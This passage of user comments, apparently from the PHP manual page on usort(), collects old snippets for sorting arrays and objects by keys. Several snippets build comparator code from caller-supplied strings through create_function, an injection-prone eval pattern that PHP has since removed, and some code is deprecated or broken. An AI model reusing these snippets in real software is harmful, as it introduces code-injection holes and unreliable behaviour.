  array('a' => 3, 'b' => 1, 'c' => 2)
);

Utility::orderBy($testAry, 'a ASC, b DESC');

//Result:
$testAry = array(
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 3, 'c' => 1),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 3, 'b' => 1, 'c' => 2)
);
?>

To sort an array of objects you would do something like:
Utility::orderBy($objectAry, 'getCreationDate() DESC, getSubOrder() ASC');

This would sort an array of objects that have methods getCreationDate() and getSubOrder().

Here is the function:

<?php
class Utility {
    /*
    * @param array $ary the array we want to sort
    * @param string $clause a string specifying how to sort the array similar to SQL ORDER BY clause
    * @param bool $ascending that default sorts fall back to when no direction is specified
    * @return null
    */
    public static function orderBy(&$ary, $clause, $ascending = true) {
        $clause = str_ireplace('order by', '', $clause);
        $clause = preg_replace('/\s+/', ' ', $clause);
        $keys = explode(',', $clause);
        $dirMap = array('desc' => 1, 'asc' => -1);
        $def = $ascending ? -1 : 1;

        $keyAry = array();
        $dirAry = array();
        foreach($keys as $key) {
            $key = explode(' ', trim($key));
            $keyAry[] = trim($key[0]);
            if(isset($key[1])) {
                $dir = strtolower(trim($key[1]));
                $dirAry[] = $dirMap[$dir] ? $dirMap[$dir] : $def;
            } else {
                $dirAry[] = $def;
            }
        }

        $fnBody = '';
        for($i = count($keyAry) - 1; $i >= 0; $i--) {
            $k = $keyAry[$i];
            $t = $dirAry[$i];
            $f = -1 * $t;
            $aStr = '$a[\''.$k.'\']';
            $bStr = '$b[\''.$k.'\']';
            if(strpos($k, '(') !== false) {
                $aStr = '$a->'.$k;
                $bStr = '$b->'.$k;
            }

            if($fnBody == '') {
                $fnBody .= "if({$aStr} == {$bStr}) { return 0; }\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            } else {
                $fnBody = "if({$aStr} == {$bStr}) {\n" . $fnBody;
                $fnBody .= "}\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            }
        }

        if($fnBody) {
            $sortFn = create_function('$a,$b', $fnBody);
            usort($ary, $sortFn);
        }
    }
}
?>
luke dot semerau at gmail dot com 28-Mar-2009 12:25
If you need to use usort with a key in the calling method, I wrote this as a utility:
<?php

function usort_comparison($obj, $method, $key) {
    $usorter = &new Usort($obj, $method, $key);
    return array($usorter, "sort");
}

class Usort {
    function __construct($obj, $method, $key) {
        $this->obj = $obj;
        $this->method = $method;
        $this->key = $key;
    }
    function sort($a, $b) {
        return call_user_func_array(array($this->obj, $this->method), array($a, $b, $this->key));
    }
}

?>

<?php

require_once("util/usort.php");

class Foo {
    $items = array(FooBar(13), FooBar(2));
    public function sorter() {
        usort($this-items, usort_comparison("Foo", "_cmp", "item"));
    }

    public static function _cmp($a, $b, $key) {
         return strcasecmp($a->$key, $b->$key);
    }

}

class FooBar {
    public $item;
    function __construct($val) {
        $this->item = $val;
    }
}

?>

~ simple example... but in the way I need to use it was the key was used in a switch statement to choose the different member of the object to compare against dynamically (as in, sort by x or y or z)
fig dot miguel at gmail dot com 12-Feb-2009 04:29
I often need to order arrays by one dimension, therefore, I implemented a generic function, called "g_arr_dimsort":

<?php
function arr_dimsort_cmp($a,$b)
/*
 *      Compare function used when sorting arrays.
 */
{
  global $G_ARR_STYPE, $G_ARR_SDIM;

  /* -- Sort numbers? */

  if ($G_ARR_STYPE == 'NUMBER') {

      if ((float)$a[$G_ARR_SDIM] == (float)$b[$G_ARR_SDIM]) return 0;

      return (floatval($a[$G_ARR_SDIM]) > floatval($b[$G_ARR_SDIM])) ? 1: -1;
  }
  /* -- Sort strings? */

  if ($G_ARR_STYPE == 'STRING') return strcmp($a[$G_ARR_SDIM],$b[$G_ARR_SDIM]);

  /* -- First time: get the right data type */

  $G_ARR_STYPE = is_string($a[$G_ARR_SDIM])? 'STRING' : 'NUMBER';

  return arr_dimsort_cmp($a,$b);
}

function g_arr_dimsort(&$arr,$dim,$type = '',$keepkey = false)
/*
 *      Sort an array by a given dimension
 */
{
  global $G_ARR_SDIM, $G_ARR_STYPE;

  $G_ARR_SDIM = $dim; $G_ARR_STYPE = $type;

  if ($keepkey) uasort(&$arr,'arr_dimsort_cmp');
  else
      usort(&$arr,'arr_dimsort_cmp');
}

/* -- Testing it: */

$arr[] = array('Fruit' => 'Orange','Stock' => 10, 'Price'=> 10.2);
$arr[] = array('Fruit' => 'Lemon' ,'Stock' => 100,'Price'=> 5.36);
$arr[] = array('Fruit' => 'Apple' ,'Stock' => 20,'Price'=> 11.1);

echo "Sort by Fruit\n"; g_arr_dimsort(&$arr,'Fruit'); print_r($arr);
echo "Sort by Stock\n"; g_arr_dimsort(&$arr,'Stock','NUMBER'); print_r($arr);
echo "Sort by Fruit and keep keys\n"; g_arr_dimsort(&$arr,'Fruit','',true); print_r($arr);
echo "Sort by Price\n"; g_arr_dimsort(&$arr,'Price'); print_r($arr);

?>
Anonymous 12-Jan-2009 03:14
To sort reliably on more than one "column" in database-style arrays, handle this within your cmp function where the first field to be sorted returns 0:

<?php

function cmp($a, $b){

 if($a[field_1] == $b[field_1]){

  if($a[field_2] == $b[field_2]){

   return 0;

  }

  elseif($a[field_2] > $b[field_2]){

   return -1;

  }

  elseif($a[field_2] < $b[field_2]){

   return 1;

  }

 }

 elseif($a[field_1] > $b[field_1]){

  return -1;

 }

 elseif($a[field_1] < $b[field_1]){

  return 1;

 }

}

?>

Sorting by doing multiple passes does not seem to be reliable.
jalil at measat dot org 28-Dec-2008 05:37
<?php
/*---------------------------------------------------------
* my own home made easy object sort, which
* i cannot find anywhere on the net
* at all, tut. i can find only complicated ones,
* which brings me a headache.
*
* You can enhance it to return all sorts of error
* conditions if you wish,
* i need nothing but a false return upon failure to sort,
* so that is the only error i have here
*
* Example usage:
*
* INPUT                 -       $objects_array
// an array of objects for sorting

* PARAMETERS    -       property
// the property of the object to be sorted

* OUTPUT                -       $engine
// an engine object created by new,
// with your arrays of objects sorted according to your
// selected property
//( the sorting is done upon sort object creation )
*
* Code Examples
*
* $engine = new objSorter($objects_array);
// sorts on FIRST property -  default

* $engine = new objSorter($objects_array,'property');
// sort on ANY specific property
*--------------------------------------------------------*/

class objSorter
{
var $property;
var $sorted;

    function ObjSorter($objects_array,$property=null)
        {
            $sample    = $objects_array[0];
            $vars    = get_object_vars($sample);

        if (isset($property))
            {
            if (isset($sample->$property))
// make sure requested property is correct for the object
                {
                $this->property = $property;
                usort($objects_array, array($this,'_compare'));
                }
            else
                {
                $this->sorted    = false;
                return;
                }
            }
        else
            {
                list($property,$var)     = each($sample);
                $this->property         = $property;
                usort($objects_array, array($this,'_compare'));
            }

        $this->sorted    = ($objects_array);
        }

    function _compare($apple, $orange)
        {
        $property    = $this->property;
        if ($apple->$property == $orange->$property) return 0;
        return ($apple->$property < $orange->$property) ? -1 : 1;
        }
} // end class
?>

USAGE EXAMPLE
DUMP ORIGINAL
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )

SORTED by age

<?php
$objects                = new ObjSorter($objects_array,'age');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )

SORTED by richness

<?php
$objects                = new ObjSorter($objects_array,'richness');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )

Simulated wrong property request ( dumb property )

<?php
$objects                = new ObjSorter($objects_array,'dumb property');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
else echo 'DUMB ERROR';
?>

DUMB ERROR
drorasta 22-Jun-2008 10:16
Here's how you can usort() a multidimensional array (like in example #2 above) within a class:

<?php usort($myArray, array("className", "cmp")); ?>
Ariz Jacinto 13-May-2008 10:50
Here's how to use usort() within a class using a static function as a callback (using the example above):

<?php

class MyObj {
    var $name;

    function SampleObj($name){
        $this->name = $name;

        usort($this->name, array(&$this, "compareValues"));

    }

    static function compareValues($a, $b){
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

?>
Anonymous 14-Mar-2008 04:37
From the docs the user defined function looks as it could be arbitrary. This is not the case.
I needed a comparison that would send arbitrary values at the end of the array. Say '0' means invalid for example.
So here is a sample function.

<?php
function array_cmp($a, $b) {
  if( $a == 0 ) {
    return 99;
  } elseif( $a >  $b ) {
    return 1;
  } elseif( $a == $b ) {
    return 0;
  } elseif( $a <  $b ) {
    return -1;
  }
}

usort($test_array, "array_cmp");
print '<pre>'; print_r( $test_array ); print '</pre>';

$test_array = array(
   'a' => 8 ,
   'b' => 0 ,
   'c' => 1 ,
   'd' => 0 ,
   'e' => 3
 );

Output:

Array
(
    [0] => 0
    [1] => 1
    [2] => 8
    [3] => 0
    [4] => 3
)
?>

This is beacause comparisons aren't applied to all possible pairs. So when the '0' is tested as $b strange things can occur...

This is solved simply adding an
  } elseif( $b == 0) {
    return -99;
  }
statement.

Carefull of the pitfalls. If you alter the ordering in strange ways without knowledge in the underlying algorithm one could even trigger infinite loops. (if your testing for $a and $b for the same value give inconsistent results. )
Sid_M 05-Nov-2007 05:54
The sample function for having the sort function be a class method has a comment identifying the sorting function as static, however the function does not have the static keyword. In PHP 5 (at least as configured on my server), usort will fail, identifying the method as non-static. Preceding the function keyword with the static keyword fixed the problem.
15-Mar-2007 05:12
A simple way of having reversed sort order from usort() function without using array_reverse() is to change "greater than" to "lesser that" sign (or vice versa) in the compare function.
Tim 13-Nov-2006 03:43
If you want to sort an array of strings by the length of its values, you can write a better cmp-function than manually comparing string lengths with if-statements. Unfortunately, I see this bad technique in other people's code. I prefer using this:

<?php
function length_cmp( $a, $b ) {
    return strlen($a)-strlen($b) ;
}
?>

This function sorts the array in ascending order. If you want to sort descending, simply swap $a and $b either in the parameters or in the subtraction.

-Tim
svenxy AT nospam gmx net 16-Oct-2006 01:58
This will sort subnets correctly:

<?php

$zones =
array('192.168.11',
'192.169.12',
'192.168.13',
'192.167.14',
'192.168.15',
'122.168.16',
'192.168.17'
);

function sort_subnets ($a, $b) {
    $a_arr = explode('.', $a);
    $b_arr = explode('.', $b);
    foreach (range(0,3) as $i) {
        if ( $a_arr[$i] < $b_arr[$i] ) {
            return -1;
        }
        elseif ( $a_arr[$i] > $b_arr[$i] ) {
            return 1;
        }
    }
    return -1;
}

usort($zones, 'sort_subnets');
print '<pre>';
print_r($zones);
print '</pre>';

?>
stephen in koto 05-Apr-2006 10:28
For using usort inside a method in an object, where the callback sort method is in the same object, this works:

<?php usort($arr_to_sort, array($this, "sort_terms_by_criteria")); ?>

If you wish to keep elements in their original or reverse order if they are the same length, just don't return zero for items that compare the same. Return a 1 or -1, as appropriate.
sydney at totoche dot org 16-Jan-2006 01:44
Instead of doing  :

<?php $strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) ); ?>

you could do this :

<?php $strc = strcasecmp( $a[$f], $b[$f] ); ?>

which is more efficient and is does case insensitive comparison according to the current locale.
sean at NOSPAM dot orwd dot com 23-Sep-2005 02:46
In order to get a proper text sorting I have changed the arfsort() function submitted by jonathan(at)inetz(dot)com.

The one line I have changed is:

<?php
$strc = strcmp( $a[$f], $b[$f] );
?>

to

<?php
$strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) );
?>

It can now sort correctly for alphabetization.  Capital letters where getting in the way.

Sean
Tim 22-Sep-2005 07:25
A couple examples here advocate the use of 'create_function' for sorting, which is tempting to use because of the limitations of usort. But beware this method -- the function created will NOT be freed at the end of the sorting routine, which creates a memory leak. For this reason, this method should probably never be used.

If you need multi-key or other complex sorting, the fundamental problem is passing in parameters into the comparison routine. I suggest creating a global variable (_array_key_multisort_parameters or something long), and controlling the comparison routine in that way.
rpmPUBLI at iespana dot es 03-Sep-2005 12:48
(I've browsed the docummented notes and I haven't found this note, so there I go):

Please note that, when sorting associative arrays (i.e. non-numeric indexes), these will be lost and replaced by a regular numeric index starting at 0.
reinhard at ess dot co dot at 08-Aug-2005 06:34
maybe someone can use this.
with that compare-function you can get this order:

string1, string2, ..., string10, string11, ...string22...

else the functions make something like

string10,string11,...string1,string20....
or
string1,string10,string11,string2,string20...

it's not the best solution, but works for my purpose...

<?php
function cmp($a,$b){
   list($a)=explode(".",$a);
   list($b)=explode(".",$b);
   $s=0;
   for($i=0;$i<=strlen($a);++$i){
      if(is_numeric($a[$i])&&is_numeric($b[$i])){
         $n=1;
         $anum=$bnum=0;
         while((is_numeric($a[$i])||is_numeric($b[$i]))&&
                    (strlen($a)>=$i||strlen($b)>=$i)){
            if(is_numeric($a[$i])&&$i<=strlen($a)) $anum=$a[$i]+$anum*$n;
            if(is_numeric($b[$i])&&$i<=strlen($b)) $bnum=$b[$i]+$bnum*$n;
            $n*=10;
            ++$i;
         }
         if($n>1) --$i;
         if($anum!=$bnum) return $anum<$bnum?-1:1;
      }elseif($a[$i]!=$b[$i]) return $a[$i]<$b[$i]?-1:1;
   }
}
?>

use it like this:

<?php
usort($array,"cmp");
?>
Jeremy Swinborne 20-Jul-2005 01:56
When I query a DB I usually put my record set inside of a multi-dimentional array.  I finally wrote a program that will allow you to sort your record set by column after you put it in an array.

<?php
$test = array();
$test[0]['name'] = 'jeremy';
$test[0]['email'] = 'lala@example.com';
$test[0]['phone'] = '123-123-1234';
$test[0]['trick'] = 'mezopia';

$test[1]['name'] = 'Amanda';
$test[1]['email'] = 'hot@example.com';
$test[1]['phone'] = '123-123-1235';
$test[1]['trick'] = 'youarecool';

$test[2]['name'] = 'john';
$test[2]['email'] = 'wowee@example.com';
$test[2]['phone'] = '123-123-3333';
$test[2]['trick'] = 'goneinanhour';

print_r(columnSort($test, 'name'));

function columnSort($unsorted, $column) {
    $sorted = $unsorted;
    for ($i=0; $i < sizeof($sorted)-1; $i++) {
      for ($j=0; $j<sizeof($sorted)-1-$i; $j++)
        if ($sorted[$j][$column] > $sorted[$j+1][$column]) {
          $tmp = $sorted[$j];
          $sorted[$j] = $sorted[$j+1];
          $sorted[$j+1] = $tmp;
      }
    }
    return $sorted;
}
?>
dmhouse at gmail dot com 19-Jul-2005 02:09
The easiest way to compare two integers is just to take the second away from the first. For example, say you wanted to sort by an integer property of an object. Your comparison function would look like this:

<?php
function compare_counts($a, $b) {
  return $a->count - $b->count;
}
?>

This works because you don't necessarily have to return -1, 0 or 1, the manual states any integer less than, equal to or greater than 0 is OK.
steve at tracorp dot com 12-Apr-2005 04:57
When sorting a large multi-dimensional array, I ran into an issue where the array was not being sorted either ascending or descending, even when it started in sorted order.  It turns out that the above note about the callback function returning an integer is true.  My comparison function was just a subtraction between two floating point numbers, and the result being a float produced very unpredictable results.
guenther dot stadler at gmx dot net 30-Mar-2005 02:25
Just something i stumbled about right now:
If the array consists of just one elemtent, the user-function is not called at all.

Although this surely makes sense, think of it if you want to use your order-function for adding extra data to your arrays...
ulrichUNDERSCOREalexis at yahoo dot com 04-Mar-2005 07:03
Please note that:
- the HTML entities should be replaced by their accented counterparts;
- the $patterns arrays have been split for display convenience.

<?php

/* returns the collated string (with no accent or with the matching string
 * replacement) in lower case according to that language rule.
 * The aim is to alphabetically sort lists of strings with characters from
 * other languages but using collation rules of that given language
 * (ISO 639-1 code).
 * Latin-derived alphabets are supported (currently English, French and
 * German)
 * rules source: http://en.wikipedia.org/wiki/Latin_alphabet
 */
function collatedLower($string, $lang=null) {
   switch ($lang) {
       case 'de':
           // German
        $patterns = array(
        "/&aacute;|&agrave;|&acirc;|&atilde;|&aring;|
&Aacute;|&Agrave;|&Acirc;|&Atilde;|&Aring;/",
        "/&auml;|&aelig;|&Auml;|&AElig;/",
        "/&ccedil;|&Ccedil;/",
        "/&eacute;|&egrave;|&ecirc;|&euml;|
&Eacute;|&Egrave;|&Ecirc;|&Euml;/",
        "/&igrave;|&iacute;|&icirc;|&iuml;|
&Igrave;|&Iacute;|&Icirc;|&Iuml;/",
        "/&ntilde;|&Ntilde;/",
        "/&ograve;|&oacute;|&ocirc;|&otilde;|&oslash;|
&Ograve;|&Oacute;|&Ocirc;|&Otilde;|&Oslash;/",
        "/&ouml;|&oelig;|&Ouml;|&OElig;/",
        "/&szlig;/",
        "/&ugrave;|&uacute;|&ucirc;|
&Ugrave;|&Uacute;|&Ucirc;/",
        "/&uuml;|&Uuml;/",
        "/&yacute;|&yuml;|&Yacute;/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'ue', 'y');
           break;
       default:
           // 'en' (English), 'fr' (French)
           $patterns = array(
        "/&aacute;|&agrave;|&acirc;|&atilde;|&auml;|&aring;|
&Aacute;|&Agrave;|&Acirc;|&Atilde;|&Auml;|&Aring;/",
        "/&aelig;|&AElig;/",
        "/&ccedil;|&Ccedil;/",
        "/&eacute;|&egrave;|&ecirc;|&euml;|
&Eacute;|&Egrave;|&Ecirc;|&Euml;/",
        "/&igrave;|&iacute;|&icirc;|&iuml;|
&Igrave;|&Iacute;|&Icirc;|&Iuml;/",
        "/&ntilde;|&Ntilde;/",
        "/&ograve;|&oacute;|&ocirc;|&otilde;|&ouml;|&oslash;|
&Ograve;|&Oacute;|&Ocirc;|&Otilde;|&Ouml;|&Oslash;/",
        "/&oelig;|&OElig;/",
        "/&szlig;/",
        "/&ugrave;|&uacute;|&ucirc;|&uuml;|
&Ugrave;|&Uacute;|&Ucirc;|&Uuml;/",
        "/&yacute;|&yuml;|&Yacute;/");
           $replace = array('a', 'ae', 'c', 'e', 'i', 'n', 'o', 'oe', 'ss', 'u', 'y');
           break;
       }
   return preg_replace($patterns,$replace,$string);
}

// English
function compareAccents_en($a, $b) {
   return compareAccents($a, $b, 'en');
}

// French
function compareAccents_fr($a, $b) {
   return compareAccents($a, $b, 'fr');
}

// German
function compareAccents_de($a, $b) {
   return compareAccents($a, $b, 'de');
}

/*
 * comparison function to group together accented letters with
 * their lower-case non-accented counterparts
 * the $lang parameter enables sorting rules for that language
 * (ISO 639-1 code)
 */
function compareAccents($a, $b, $lang=null) {
   $anew = strtolower(collatedLower($a,$lang));
   $bnew = strtolower(collatedLower($b,$lang));
   if ($anew < $bnew) return -1;
   if ($anew > $bnew) return 1;
   return 0;
}

// usage:
usort($myList,'compareAccents_fr');

// to be compared to:
setlocale(LC_COLLATE,'fr');
usort($myList, 'strcoll');

?>
Raveler at telenet dot be 20-May-2004 10:02
The array_alternate_multisort function written by robert below doesn't work. There are several bugs in the code and it doesn't work when sorting by multiple keys because the order of the first key isn't taken into account when sorting by the second key and so on. Also, because robert uses strcasecmp the algorithm doesn't work properly with floats or other variable types. Here's the improved version:

<?php
    function SortArray() {
        $arguments = func_get_args();
        $array = $arguments[0];
        $code = '';
        for ($c = 1; $c < count($arguments); $c += 2) {
            if (in_array($arguments[$c + 1], array("ASC", "DESC"))) {
                $code .= 'if ($a["'.$arguments[$c].'"] != $b["'.$arguments[$c].'"]) {';
                if ($arguments[$c + 1] == "ASC") {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? -1 : 1); }';
                }
                else {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? 1 : -1); }';
                }
            }
        }
        $code .= 'return 0;';
        $compare = create_function('$a,$b', $code);
        usort($array, $compare);
        return $array;
    }
?>
todor at todor dot net 08-Mar-2004 04:39
To sort multidimentional arrays .... by one key.

<?php
function multi_sort($tab,$key){
    $compare = create_function('$a,$b','if ($a["'.$key.'"] == $b["'.$key.'"]) {return 0;}else {return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;}');
    usort($tab,$compare) ;
    return $tab ;
}
?>
arjini at mac dot com 26-Jan-2004 10:05
<?php
/*
This is a class I built to sort parent/child relationships of array elements.
I post this here, because thanks to usort, you can also assign an explicit order
to the elements.

I first built this to sort categories and subcategories.

My database has four fields. category_id, parent_id, category_name, category_position

$rows is an associative array from the database with my categories.
*/
$rows = array( 0=>array('category_id'=>1,'parent_id' =>3,'category_name' =>'Second Child','category_position'=>2),
                    1=>array('category_id' =>2,'parent_id' =>0,'category_name' =>'Second Parent','category_position'=>2),
                    2=>array('category_id' =>3,'parent_id' =>0,'category_name' =>'First Parent','category_position'=>1),
                    3=>array('category_id' =>4,'parent_id' =>0,'category_name' =>'Third Parent','category_position'=>3),
                    4=>array('category_id' =>5,'parent_id' =>3,'category_name' =>'First Child','category_position'=>1),
                    5=>array('category_id' =>6,'parent_id' =>5,'category_name'=>'Second Sub-Child','category_position'=>2),
                    6=>array('category_id' =>7,'parent_id' =>5,'category_name' =>'First Sub-Child','category_position'=>1)
                    );

$ordered = chain('category_id', 'parent_id', 'category_position', $rows);

foreach($ordered as $item)
{
    echo str_repeat('------', $item['indent']).$item['category_name'].'<br>';
}

/*

Output

First Parent
------First Child
------------First Sub-Child
------------Second Sub-Child
------Second Child
Second Parent
Third Parent

You can have it only return a certain "branch" if you specify a root_id.
Aditionally, you can keep it by going to deep by specifying max-level.

Hope someone finds this useful, I sure would have liked to see this here a week ago.

Ah yes... and the code that runs it.
*/

function chain($primary_field, $parent_field, $sort_field, $rows, $root_id=0, $maxlevel=25)
{
    $c = new chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel);
    return $c->chain_table;
}

class chain
{
    var $table;
    var $rows;
    var $chain_table;
    var $primary_field;
    var $parent_field;
    var $sort_field;

    function chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel)
    {
        $this->rows = $rows;
        $this->primary_field = $primary_field;
        $this->parent_field = $parent_field;
        $this->sort_field = $sort_field;
        $this->buildChain($root_id,$maxlevel);
    }

    function buildChain($rootcatid,$maxlevel)
    {
        foreach($this->rows as $row)
        {
            $this->table[$row[$this->parent_field]][ $row[$this->primary_field]] = $row;
        }
        $this->makeBranch($rootcatid,0,$maxlevel);
    }

    function makeBranch($parent_id,$level,$maxlevel)
    {
        $rows=$this->table[$parent_id];
        foreach($rows as $key=>$value)
        {
            $rows[$key]['key'] = $this->sort_field;
        }

        usort($rows,'chainCMP');
        foreach($rows as $item)
        {
            $item['indent'] = $level;
            $this->chain_table[] = $item;
            if((isset($this->table[$item[$this->primary_field]])) && (($maxlevel>$level+1) || ($maxlevel==0)))
            {
                $this->makeBranch($item[$this->primary_field], $level+1, $maxlevel);
            }
        }
    }
}

function chainCMP($a,$b)
{
    if($a[$a['key']] == $b[$b['key']])
    {
        return 0;
    }
    return($a[$a['key']]<$b[$b['key']])?-1:1;
}

?>
sreid at sea-to-sky dot net 07-Jan-2004 08:22
As the manual says, "If two members compare as equal, their order in the sorted array is undefined." This means that the sort used is not "stable" and may change the order of elements that compare equal.

Sometimes you really do need a stable sort. For example, if you sort a list by one field, then sort it again by another field, but don't want to lose the ordering from the previous field. In that case it is better to use usort with a comparison function that takes both fields into account, but if you can't do that then use the function below. It is a merge sort, which is guaranteed O(n*log(n)) complexity, which means it stays reasonably fast even when you use larger lists (unlike bubblesort and insertion sort, which are O(n^2)).

<?php
function mergesort(&$array, $cmp_function = 'strcmp') {
    // Arrays of size < 2 require no action.
    if (count($array) < 2) return;
    // Split the array in half
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway);
    $array2 = array_slice($array, $halfway);
    // Recurse to sort the two halves
    mergesort($array1, $cmp_function);
    mergesort($array2, $cmp_function);
    // If all of $array1 is <= all of $array2, just append them.
    if (call_user_func($cmp_function, end($array1), $array2[0]) < 1) {
        $array = array_merge($array1, $array2);
        return;
    }
    // Merge the two sorted arrays into a single sorted array
    $array = array();
    $ptr1 = $ptr2 = 0;
    while ($ptr1 < count($array1) && $ptr2 < count($array2)) {
        if (call_user_func($cmp_function, $array1[$ptr1], $array2[$ptr2]) < 1) {
            $array[] = $array1[$ptr1++];
        }
        else {
            $array[] = $array2[$ptr2++];
        }
    }
    // Merge the remainder
    while ($ptr1 < count($array1)) $array[] = $array1[$ptr1++];
    while ($ptr2 < count($array2)) $array[] = $array2[$ptr2++];
    return;
}
?>
webmaster at zeroweb dot org 20-Dec-2003 03:05
Needed a quick, fairly uncluttered way of sorting an array of objects by a certain object attribute, so here's what I came up with. Uses one global array and usort(). Also accepts an optional sort direction argument (CSORT_ASC = sort ascending, CSORT_DESC = sort descending). Use it like this:

(assuming $myarray is your array, "index" is the attribute you want to sort by, and you want to sort in descending order)

      csort($myarray, "index", CSORT_DESC);

Hope this is of use to someone. Probably a better way to pull this off, but this works alright.

<?php
define("CSORT_ASC",     1);
define("CSORT_DESC",     -1);

function csort_cmp(&$a, &$b)
{
    global $csort_cmp;

    if ($a->$csort_cmp['key'] > $b->$csort_cmp['key'])
        return $csort_cmp['direction'];

    if ($a->$csort_cmp['key'] < $b->$csort_cmp['key'])
        return -1 * $csort_cmp['direction'];

    return 0;
}

function csort(&$a, $k, $sort_direction=CSORT_ASC)
{
    global $csort_cmp;

    $csort_cmp = array(
        'key'           => $k,
        'direction'     => $sort_direction
    );

    usort($a, "csort_cmp");

    unset($csort_cmp);
}
?>
kristen at ccshoreline dot org 22-Nov-2003 12:39
I have a class with a bunch of functions that work with an SQL database. I am working with calendar dates that occur more than once (like once a week for 2 months), so I have to generate the date in php after the SQL. But I wanted to sort the events based on the date, so I tried using usort, but was unable to get it to work, because it didn't think that my sorting function was defined (even though it was in the same class). I have a separate class to store the data, that has a variable called Start which is a PHP date object.

So here is how I got it to work. First I created a temporary function, that returned the value of a string comparison of the timestamps for the dates. Then I used that temporary function for the usort. Enjoy.

<?php
$tempfunction = create_function('$event1,$event2',
        'return strcmp($event1->Start[0],$event2->Start[0]);');
usort($data,$tempfunction);
?>
skrebbel at operamail dot com 27-Mar-2003 01:59
here's another recursive multisort, however a clean and fast one that is class-based (but works as well outside classes) and does not uglify your global namespace at all. note that strnatcmp is used, but one could use something else of course.

btw, for arrays in which the rows/columns are 'swapped', use array_multisort().

<?php
class Banana {
    var $aData;//the array we want to sort.
    var $aSortkeys;//the order in which we want the array to be sorted.
    function _sortcmp($a, $b, $i=0) {
        $r = strnatcmp($a[$this->aSortkeys[$i]],$b[$this->aSortkeys[$i]]);
        if($r==0) {
            $i++;
            if ($this->aSortkeys[$i]) $r = $this->_sortcmp($a, $b, $i+1);
        }
        return $r;
    }
    function sort() {
        if(count($this->aSortkeys)) {
            usort($this->aData,array($this,"_sortcmp"));
        }
    }
}
$B = new Banana;
$B->aData = array(
    array("name" => "hank", "headsize" => "big", "age" => 32),
    array("name" => "frank", "headsize" => "huge", "age" => 36)
);
$B->aSortkeys = array("age","name");
$B->sort();

?>
sorry for the ugly indenting, but i couldn't get it any better in this note adder thing.
steveNO_SPAM at AXE_MEcontentwatch dot com 31-Dec-2002 02:11
The sort functions do nothing if identical keys exist.  Of course, you shouldn't have identical keys anyway, but this just might save someone else the oodles of time it took me to figure out while using multi-dimentional arrays:

<?php
class myArticleList {
// ... //
  function &getList () {

    // works
        $a = array (
                   "articleList1" => array ( "2", "3" ),
                   "articleList2" => array ( "3" , "4")
                 );
    usort( $a, array( $this, "compareByTitle") );

    // doesn't work
        $b = array (
                   "articleList" => array ( "2", "3" ),
                   "articleList" => array ( "3" , "4")
                 );
    usort( $b, array( $this, "compareByTitle") );
  }

  function compareByTitle( $a, $b ) {
  // ... //
  }
}
